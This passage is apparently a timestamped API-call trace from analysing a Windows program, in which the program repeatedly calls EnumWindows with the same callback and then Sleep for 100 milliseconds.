EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.115] Sleep (dwMilliseconds=0x64) [0263.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.317] Sleep (dwMilliseconds=0x64) [0263.323] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.323] Sleep (dwMilliseconds=0x64) [0263.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.325] Sleep (dwMilliseconds=0x64) [0263.327] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.327] Sleep (dwMilliseconds=0x64) [0263.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.335] Sleep (dwMilliseconds=0x64) [0263.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.342] Sleep (dwMilliseconds=0x64) [0263.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.350] Sleep (dwMilliseconds=0x64) [0263.357] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.357] Sleep (dwMilliseconds=0x64) [0263.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.442] Sleep (dwMilliseconds=0x64) [0263.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.469] Sleep (dwMilliseconds=0x64) [0263.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.471] Sleep (dwMilliseconds=0x64) [0263.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.473] Sleep (dwMilliseconds=0x64) [0263.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.477] Sleep (dwMilliseconds=0x64) [0263.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.484] Sleep (dwMilliseconds=0x64) [0263.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.487] Sleep (dwMilliseconds=0x64) [0263.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.489] Sleep (dwMilliseconds=0x64) [0263.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.491] Sleep (dwMilliseconds=0x64) [0263.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.493] Sleep (dwMilliseconds=0x64) [0263.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.495] Sleep (dwMilliseconds=0x64) [0263.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.497] Sleep (dwMilliseconds=0x64) [0263.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.498] Sleep (dwMilliseconds=0x64) [0263.558] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.559] Sleep (dwMilliseconds=0x64) [0263.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.614] Sleep (dwMilliseconds=0x64) [0263.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.618] Sleep (dwMilliseconds=0x64) [0263.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.620] Sleep (dwMilliseconds=0x64) [0263.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.622] Sleep (dwMilliseconds=0x64) [0263.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.624] Sleep (dwMilliseconds=0x64) [0263.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.626] Sleep (dwMilliseconds=0x64) [0263.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.628] Sleep (dwMilliseconds=0x64) [0263.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.630] Sleep (dwMilliseconds=0x64) [0263.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.632] Sleep (dwMilliseconds=0x64) [0263.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.634] Sleep (dwMilliseconds=0x64) [0263.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.636] Sleep (dwMilliseconds=0x64) [0263.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.638] Sleep (dwMilliseconds=0x64) [0263.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.640] Sleep (dwMilliseconds=0x64) [0263.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.642] Sleep (dwMilliseconds=0x64) [0263.643] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.644] Sleep (dwMilliseconds=0x64) [0263.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.675] Sleep (dwMilliseconds=0x64) [0263.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.751] Sleep (dwMilliseconds=0x64) [0263.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.754] Sleep (dwMilliseconds=0x64) [0263.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.755] Sleep (dwMilliseconds=0x64) [0263.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.757] Sleep (dwMilliseconds=0x64) [0263.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.765] Sleep (dwMilliseconds=0x64) [0263.772] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.773] Sleep (dwMilliseconds=0x64) [0263.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.780] Sleep (dwMilliseconds=0x64) [0263.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.786] Sleep (dwMilliseconds=0x64) [0263.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.794] Sleep (dwMilliseconds=0x64) [0263.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.884] Sleep (dwMilliseconds=0x64) [0263.935] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.936] Sleep (dwMilliseconds=0x64) [0264.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.003] Sleep (dwMilliseconds=0x64) [0264.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.020] Sleep (dwMilliseconds=0x64) [0264.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.063] Sleep (dwMilliseconds=0x64) [0264.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.071] Sleep (dwMilliseconds=0x64) [0264.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.079] Sleep (dwMilliseconds=0x64) [0264.086] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.086] Sleep (dwMilliseconds=0x64) [0264.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.090] Sleep (dwMilliseconds=0x64) [0264.097] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.097] Sleep (dwMilliseconds=0x64) [0264.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.141] Sleep (dwMilliseconds=0x64) [0264.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.149] Sleep (dwMilliseconds=0x64) [0264.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.210] Sleep (dwMilliseconds=0x64) [0264.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.213] Sleep (dwMilliseconds=0x64) [0264.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.215] Sleep (dwMilliseconds=0x64) [0264.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.217] Sleep (dwMilliseconds=0x64) [0264.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.220] Sleep (dwMilliseconds=0x64) [0264.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.222] Sleep (dwMilliseconds=0x64) [0264.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.223] Sleep (dwMilliseconds=0x64) [0264.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.226] Sleep (dwMilliseconds=0x64) [0264.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.227] Sleep (dwMilliseconds=0x64) [0264.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.230] Sleep (dwMilliseconds=0x64) [0264.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.233] Sleep (dwMilliseconds=0x64) [0264.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.235] Sleep (dwMilliseconds=0x64) [0264.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.237] Sleep (dwMilliseconds=0x64) [0264.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.239] Sleep (dwMilliseconds=0x64) [0264.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.247] Sleep (dwMilliseconds=0x64) [0264.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.267] Sleep (dwMilliseconds=0x64) [0264.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.275] Sleep (dwMilliseconds=0x64) [0264.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.362] Sleep (dwMilliseconds=0x64) [0264.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.374] Sleep (dwMilliseconds=0x64) [0264.394] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.395] Sleep (dwMilliseconds=0x64) [0264.407] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.408] Sleep (dwMilliseconds=0x64) [0264.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.502] Sleep (dwMilliseconds=0x64) [0264.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.504] Sleep (dwMilliseconds=0x64) [0264.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.508] Sleep (dwMilliseconds=0x64) [0264.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.510] Sleep (dwMilliseconds=0x64) [0264.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.513] Sleep (dwMilliseconds=0x64) [0264.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.515] Sleep (dwMilliseconds=0x64) [0264.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.517] Sleep (dwMilliseconds=0x64) [0264.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.519] Sleep (dwMilliseconds=0x64) [0264.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.521] Sleep (dwMilliseconds=0x64) [0264.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.523] Sleep (dwMilliseconds=0x64) [0264.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.525] Sleep (dwMilliseconds=0x64) [0264.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.527] Sleep (dwMilliseconds=0x64) [0264.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.529] Sleep (dwMilliseconds=0x64) [0264.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.531] Sleep (dwMilliseconds=0x64) [0264.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.533] Sleep (dwMilliseconds=0x64) [0264.534] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.534] Sleep (dwMilliseconds=0x64) [0264.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.539] Sleep (dwMilliseconds=0x64) [0264.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.541] Sleep (dwMilliseconds=0x64) [0264.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.543] Sleep (dwMilliseconds=0x64) [0264.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.545] Sleep (dwMilliseconds=0x64) [0264.547] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.547] Sleep (dwMilliseconds=0x64) [0264.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.550] Sleep (dwMilliseconds=0x64) [0264.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.552] Sleep (dwMilliseconds=0x64) [0264.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.555] Sleep (dwMilliseconds=0x64) [0264.556] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.556] Sleep (dwMilliseconds=0x64) [0264.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.670] Sleep (dwMilliseconds=0x64) [0264.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.683] Sleep (dwMilliseconds=0x64) [0264.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.685] Sleep (dwMilliseconds=0x64) [0264.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.691] Sleep (dwMilliseconds=0x64) [0264.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.693] Sleep (dwMilliseconds=0x64) [0264.695] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.696] Sleep (dwMilliseconds=0x64) [0264.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.698] Sleep (dwMilliseconds=0x64) [0264.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.784] Sleep (dwMilliseconds=0x64) [0264.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.806] Sleep (dwMilliseconds=0x64) [0264.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.808] Sleep (dwMilliseconds=0x64) [0264.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.810] Sleep (dwMilliseconds=0x64) [0264.819] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.820] Sleep (dwMilliseconds=0x64) [0264.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.821] Sleep (dwMilliseconds=0x64) [0264.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.826] Sleep (dwMilliseconds=0x64) [0264.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.828] Sleep (dwMilliseconds=0x64) [0264.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.830] Sleep (dwMilliseconds=0x64) [0264.832] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.832] Sleep (dwMilliseconds=0x64) [0264.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.834] Sleep (dwMilliseconds=0x64) [0264.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.897] Sleep (dwMilliseconds=0x64) [0264.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.973] Sleep (dwMilliseconds=0x64) [0264.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.984] Sleep (dwMilliseconds=0x64) [0264.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0264.996] Sleep (dwMilliseconds=0x64) [0265.006] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.007] Sleep (dwMilliseconds=0x64) [0265.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.076] Sleep (dwMilliseconds=0x64) [0265.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.126] Sleep (dwMilliseconds=0x64) [0265.128] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.128] Sleep (dwMilliseconds=0x64) [0265.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.136] Sleep (dwMilliseconds=0x64) [0265.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.138] Sleep (dwMilliseconds=0x64) [0265.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.140] Sleep (dwMilliseconds=0x64) [0265.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.142] Sleep (dwMilliseconds=0x64) [0265.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.143] Sleep (dwMilliseconds=0x64) [0265.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.145] Sleep (dwMilliseconds=0x64) [0265.147] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.147] Sleep (dwMilliseconds=0x64) [0265.149] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.149] Sleep (dwMilliseconds=0x64) [0265.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.152] Sleep (dwMilliseconds=0x64) [0265.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.154] Sleep (dwMilliseconds=0x64) [0265.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.196] Sleep (dwMilliseconds=0x64) [0265.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.256] Sleep (dwMilliseconds=0x64) [0265.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.259] Sleep (dwMilliseconds=0x64) [0265.261] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.261] Sleep (dwMilliseconds=0x64) [0265.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.270] Sleep (dwMilliseconds=0x64) [0265.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.278] Sleep (dwMilliseconds=0x64) [0265.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.287] Sleep (dwMilliseconds=0x64) [0265.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.316] Sleep (dwMilliseconds=0x64) [0265.323] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.324] Sleep (dwMilliseconds=0x64) [0265.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.409] Sleep (dwMilliseconds=0x64) [0265.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.418] Sleep (dwMilliseconds=0x64) [0265.420] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.420] Sleep (dwMilliseconds=0x64) [0265.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.422] Sleep (dwMilliseconds=0x64) [0265.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.425] Sleep (dwMilliseconds=0x64) [0265.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.428] Sleep (dwMilliseconds=0x64) [0265.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.430] Sleep (dwMilliseconds=0x64) [0265.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.432] Sleep (dwMilliseconds=0x64) [0265.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.520] Sleep (dwMilliseconds=0x64) [0265.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.527] Sleep (dwMilliseconds=0x64) [0265.579] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.580] Sleep (dwMilliseconds=0x64) [0265.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.588] Sleep (dwMilliseconds=0x64) [0265.596] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.597] Sleep (dwMilliseconds=0x64) [0265.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.679] Sleep (dwMilliseconds=0x64) [0265.687] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.688] Sleep (dwMilliseconds=0x64) [0265.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.719] Sleep (dwMilliseconds=0x64) [0265.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.774] Sleep (dwMilliseconds=0x64) [0265.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.830] Sleep (dwMilliseconds=0x64) [0265.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.883] Sleep (dwMilliseconds=0x64) [0265.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.886] Sleep (dwMilliseconds=0x64) [0265.887] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.888] Sleep (dwMilliseconds=0x64) [0265.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.891] Sleep (dwMilliseconds=0x64) [0265.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.895] Sleep (dwMilliseconds=0x64) [0265.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.896] Sleep (dwMilliseconds=0x64) [0265.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.899] Sleep (dwMilliseconds=0x64) [0265.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.901] Sleep (dwMilliseconds=0x64) [0265.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.903] Sleep (dwMilliseconds=0x64) [0265.959] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0265.960] Sleep (dwMilliseconds=0x64) [0266.030] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.031] Sleep (dwMilliseconds=0x64) [0266.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.055] Sleep (dwMilliseconds=0x64) [0266.058] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.059] Sleep (dwMilliseconds=0x64) [0266.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.079] Sleep (dwMilliseconds=0x64) [0266.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.185] Sleep (dwMilliseconds=0x64) [0266.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.188] Sleep (dwMilliseconds=0x64) [0266.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.191] Sleep (dwMilliseconds=0x64) [0266.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.194] Sleep (dwMilliseconds=0x64) [0266.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.196] Sleep (dwMilliseconds=0x64) [0266.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.198] Sleep (dwMilliseconds=0x64) [0266.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.211] Sleep (dwMilliseconds=0x64) [0266.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.234] Sleep (dwMilliseconds=0x64) [0266.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.331] Sleep (dwMilliseconds=0x64) [0266.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.340] Sleep (dwMilliseconds=0x64) [0266.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.349] Sleep (dwMilliseconds=0x64) [0266.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.367] Sleep (dwMilliseconds=0x64) [0266.401] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.401] Sleep (dwMilliseconds=0x64) [0266.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.484] Sleep (dwMilliseconds=0x64) [0266.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.509] Sleep (dwMilliseconds=0x64) [0266.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.511] Sleep (dwMilliseconds=0x64) [0266.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.513] Sleep (dwMilliseconds=0x64) [0266.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.521] Sleep (dwMilliseconds=0x64) [0266.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.523] Sleep (dwMilliseconds=0x64) [0266.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.525] Sleep (dwMilliseconds=0x64) [0266.596] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.597] Sleep (dwMilliseconds=0x64) [0266.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0266.673] Sleep (dwMilliseconds=0x64) [0267.067] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.068] Sleep (dwMilliseconds=0x64) [0267.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.122] Sleep (dwMilliseconds=0x64) [0267.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.192] Sleep (dwMilliseconds=0x64) [0267.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.244] Sleep (dwMilliseconds=0x64) [0267.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.253] Sleep (dwMilliseconds=0x64) [0267.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.260] Sleep (dwMilliseconds=0x64) [0267.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.269] Sleep (dwMilliseconds=0x64) [0267.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.276] Sleep (dwMilliseconds=0x64) [0267.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.315] Sleep (dwMilliseconds=0x64) [0267.322] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.323] Sleep (dwMilliseconds=0x64) [0267.404] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.405] Sleep (dwMilliseconds=0x64) [0267.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.409] Sleep (dwMilliseconds=0x64) [0267.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.411] Sleep (dwMilliseconds=0x64) [0267.413] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.413] Sleep (dwMilliseconds=0x64) [0267.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.415] Sleep (dwMilliseconds=0x64) [0267.419] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.420] Sleep (dwMilliseconds=0x64) [0267.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.422] Sleep (dwMilliseconds=0x64) [0267.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.424] Sleep (dwMilliseconds=0x64) [0267.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.426] Sleep (dwMilliseconds=0x64) [0267.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.429] Sleep (dwMilliseconds=0x64) [0267.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.431] Sleep (dwMilliseconds=0x64) [0267.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.433] Sleep (dwMilliseconds=0x64) [0267.435] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.435] Sleep (dwMilliseconds=0x64) [0267.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.437] Sleep (dwMilliseconds=0x64) [0267.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.567] Sleep (dwMilliseconds=0x64) [0267.574] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.575] Sleep (dwMilliseconds=0x64) [0267.582] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.583] Sleep (dwMilliseconds=0x64) [0267.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.591] Sleep (dwMilliseconds=0x64) [0267.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.600] Sleep (dwMilliseconds=0x64) [0267.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.603] Sleep (dwMilliseconds=0x64) [0267.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.693] Sleep (dwMilliseconds=0x64) [0267.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.717] Sleep (dwMilliseconds=0x64) [0267.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0267.719] Sleep (dwMilliseconds=0x64) [0267.721] 